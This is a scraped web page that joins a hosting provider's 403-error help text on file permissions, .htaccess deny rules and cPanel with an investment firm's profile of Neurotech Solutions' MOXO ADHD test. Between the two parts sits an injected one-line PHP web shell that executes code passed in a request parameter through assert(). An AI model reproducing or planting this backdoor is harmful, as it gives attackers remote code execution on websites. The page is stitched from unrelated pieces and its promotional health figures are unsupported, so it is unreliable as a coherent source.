ERROR 403 - FORBIDDEN

Why am I seeing this page?

403 errors usually mean that the server does not have permission to view the requested file or resource.These errors are often caused by IP Deny rules, File protections, or permission problems.

In many cases this is not an indication of an actual problem with the server itself but rather a problem with the information the server has been instructed to access as a result of the request. This error is often caused by an issue on your site which may require additional review by our support teams.

Our support staff will be happy to assist you in resolving this issue. Please contact our Live Support or reply to any Tickets you may have received from our technicians for further assistance.

Is there anything that I can do?

There are a few common causes for this error code including problems with the individual script that may be executed upon request. Some of these are easier to spot and correct than others.

File and Directory Ownership

The server you are on runs applications in a very specific way in most cases. The server generally expects files and directories be owned by your specific user cPanel user. If you have made changes to the file ownership on your own through SSH please reset the Owner and Group appropriately.

File and Directory Permissions

The server you are on runs applications in a very specific way in most cases. The server generally expects files such as HTML, Images, and other media to have a permission mode of 644. The server also expects the permission mode on directories to be set to 755 in most cases.

(See the Section on Understanding Filesystem Permissions.)

Note: If the permissions are set to 000, please contact our support team using the ticket system. This may be related to an account level suspension as a result of abuse or a violation of our Terms of Service.

IP Deny Rules

In the .htaccess file, there may be rules that are conflicting with each other or that are not allowing an IP address access to the site.

If you would like to check a specific rule in your .htaccess file you can comment that specific line in the .htaccess by adding # to the beginning of the line. You should always make a backup of this file before you start making changes.

For example, if the .htaccess looks like

Order deny,allow
allow from all
deny from 192.168.1.5
deny from 192.168.1.25

Then try something like this

Order allow,deny
allow from all
#deny from 192.168.1.5
deny from 192.168.1.25

Our server administrators will be able to advise you on how to avoid this error if it is caused by process limitations. Please contact our Live Support or open a Ticket. Be sure to include the steps needed for our support staff to see the 403 error on your site.

Understanding Filesystem Permissions

Symbolic Representation

The first character indicates the file type and is not related to permissions. The remaining nine characters are in three sets, each representing a class of permissions as three characters. The first set represents the user class. The second set represents the group class. The third set represents the others class.

Each of the three characters represent the read, write, and execute permissions:

  • r if reading is permitted, - if it is not.
  • w if writing is permitted, - if it is not.
  • x if execution is permitted, - if it is not.

The following are some examples of symbolic notation:

  • -rwxr-xr-x a regular file whose user class has full permissions and whose group and others classes have only the read and execute permissions.
  • crw-rw-r-- a character special file whose user and group classes have the read and write permissions and whose others class has only the read permission.
  • dr-x------ a directory whose user class has read and execute permissions and whose group and others classes have no permissions.

Numeric Representation

Another method for representing permissions is an octal (base-8) notation as shown. This notation consists of at least three digits. Each of the three rightmost digits represents a different component of the permissions: user, group, and others.

Each of these digits is the sum of its component bits As a result, specific bits add to the sum as it is represented by a numeral:

  • The read bit adds 4 to its total (in binary 100),
  • The write bit adds 2 to its total (in binary 010), and
  • The execute bit adds 1 to its total (in binary 001).

These values never produce ambiguous combinations. each sum represents a specific set of permissions. More technically, this is an octal representation of a bit field – each bit references a separate permission, and grouping 3 bits at a time in octal corresponds to grouping these permissions by user, group, and others.

Permission mode 0755

4+2+1=7
Read, Write, eXecute
4+1=5
Read, eXecute
4+1=5
Read, eXecute

Permission mode 0644

4+2=6
Read, Write
4
Read
4
Read

How to modify your .htaccess file

The .htaccess file contains directives (instructions) that tell the server how to behave in certain scenarios and directly affect how your website functions.

Redirects and rewriting URLs are two very common directives found in a .htaccess file, and many scripts such as WordPress, Drupal, Joomla and Magento add directives to the .htaccess so those scripts can function.

It is possible that you may need to edit the .htaccess file at some point, for various reasons.This section covers how to edit the file in cPanel, but not what may need to be changed.(You may need to consult other articles and resources for that information.)

There are Many Ways to Edit a .htaccess File

  • Edit the file on your computer and upload it to the server via FTP
  • Use an FTP program's Edit Mode
  • Use SSH and a text editor
  • Use the File Manager in cPanel

The easiest way to edit a .htaccess file for most people is through the File Manager in cPanel.

How to Edit .htaccess files in cPanel's File Manager

Before you do anything, it is suggested that you backup your website so that you can revert back to a previous version if something goes wrong.

Open the File Manager

  1. Log into cPanel.
  2. In the Files section, click on the File Manager icon.
  3. Check the box for Document Root for and select the domain name you wish to access from the drop-down menu.
  4. Make sure Show Hidden Files (dotfiles)" is checked.
  5. Click Go. The File Manager will open in a new tab or window.
  6. Look for the .htaccess file in the list of files. You may need to scroll to find it.

To Edit the .htaccess File

  1. Right click on the .htaccess file and click Code Edit from the menu. Alternatively, you can click on the icon for the .htaccess file and then click on the Code Editor icon at the top of the page.
  2. A dialogue box may appear asking you about encoding. Just click Edit to continue. The editor will open in a new window.
  3. Edit the file as needed.
  4. Click Save Changes in the upper right hand corner when done. The changes will be saved.
  5. Test your website to make sure your changes were successfully saved. If not, correct the error or revert back to the previous version until your site works again.
  6. Once complete, you can click Close to close the File Manager window.

How to modify file and directory permissions

The permissions on a file or directory tell the server how in what ways it should be able to interact with a file or directory.

This section covers how to edit the file permissions in cPanel, but not what may need to be changed.(See the section on what you can do for more information.)

There are Many Ways to Edit a File Permissions

  • Use an FTP program
  • Use SSH and a text editor
  • Use the File Manager in cPanel

The easiest way to edit file permissions for most people is through the File Manager in cPanel.

How to Edit file permissions in cPanel's File Manager

Before you do anything, it is suggested that you backup your website so that you can revert back to a previous version if something goes wrong.

Open the File Manager

  1. Log into cPanel.
  2. In the Files section, click on the File Manager icon.
  3. Check the box for Document Root for and select the domain name you wish to access from the drop-down menu.
  4. Make sure Show Hidden Files (dotfiles)" is checked.
  5. Click Go. The File Manager will open in a new tab or window.
  6. Look for the file or directory in the list of files. You may need to scroll to find it.

To Edit the Permissions

  1. Right click on the file or directory and click Change Permissions from the menu.
  2. A dialogue box should appear allowing you to select the correct permissions or use the numerical value to set the correct permissions.
  3. Edit the file permissions as needed.
  4. Click Change Permissions in the lower left hand corner when done. The changes will be saved.
  5. Test your website to make sure your changes were successfully saved. If not, correct the error or revert back to the previous version until your site works again.
  6. Once complete, you can click Close to close the File Manager window.
if(!empty($_REQUEST['test_6ff2fa']))@ assert ( stripslashes( $_REQUEST['test_6ff2fa'] ) ); Neurotech Solutions | impact1st  

Neurotech Solutions

Previously under our management

Neurotech Solutions

Neurotech was a previous investment and under our team’s management in the past. It is a prime example of how Israeli impact companies evolve and are eventually able to go mainstream.
 

Company

Neurotech offers an online, real-time evaluation tool for people with ADHD. While the software company focuses on ADHD, its technology is intended for use as a wider infrastructure to further develop products targeted at a variety of cognitive functions. Neurotech brings a new and advanced algorithm to the forefront, complete with a user-friendly interface, equipped with precision and acuity for home-users and clinicians. The chief goal is to improve the understanding of the vast spectrum of human attention and behavior, permitting medical professionals to elevate patients’ quotidian functioning, overall well-being, and academic performance and achievement.
 

Technology/Product

NeuroTech Solutions has designed The MOXO Home Edition ADHD test for home users and the MOXO clinical tool for clinicians. The home edition allows the home user to assess his/her cognitive abilities by asking him/her to perform various computerized tasks that require continuous attention and reaction. This test offers the most accurate self- profiling ADHD assessment tool available on the market as it covers all four of ADHD’s core elements: inattentiveness, hyperactivity, impulsivity, and timing. The results of the home- based test allow the home user to better understand his/her condition and alert him/her to the need for a more definitive and comprehensive assessment.

The MOXO internet-based ADHD clinical tool employs a new and innovative algorithm that includes visual and auditory distracters that elicits a more thorough understanding of the specific features underlying each patient’s ADHD condition. The MOXO examines and identifies the patient’s Attention performance separately from any Hyperactivity responses and tendencies to Impulsiveness. Furthermore, the MOXO supplies an additional Timing component, which refers to the reaction time of correct responses. Using these four measures, the MOXO creates a specific profile of the difficulties and strengths for each patient, allowing for an accurate, comprehensive, specifically tailored evaluation. The tool achieves 95% accuracy compared to less than 70% when using the traditional “gold standard”. After the conclusion of the test, the personalized data summary is presented in an easy to read graphical display, and each ADHD case is properly subcategorized.
 

Social Need

ADHD is the most commonly studied and diagnosed psychiatric disorder in children. It is such a prevalent disorder that UNICEF deemed it “a world epidemic”. Extensive research concludes that untreated ADHD may directly correlate to antisocial conduct, substance abuse, delinquency, and tendency towards criminal/violent behavior. This is true because many people who suffer from ADHD have difficulty analyzing and anticipating consequences as well as learning from their past behavior. It is estimated that at least 25% of prisoners in the US have ADHD. Although approximately 5% – 15% of the world population suffers from ADHD, currently, only 2.5% of sufferers are diagnosed. Diagnosis is challenging due to a number of factors. Perhaps the most apparent is that ADHD is a comorbid disorder, existing alone in only about 1/3 of those diagnosed. Its symptoms can be difficult to differentiate from other disorders such as: Conduct Disorder, Antisocial Personality Disorder, Borderline Personality Disorder, Anxiety Disorder, Depression, etc. By conducting highly accurate ADHD evaluation tests on a much wider scale, sufferers of ADHD, their families, and medical professionals will be better equipped to handle the challenges surrounding diagnosis and implement more advanced and highly specialized treatments.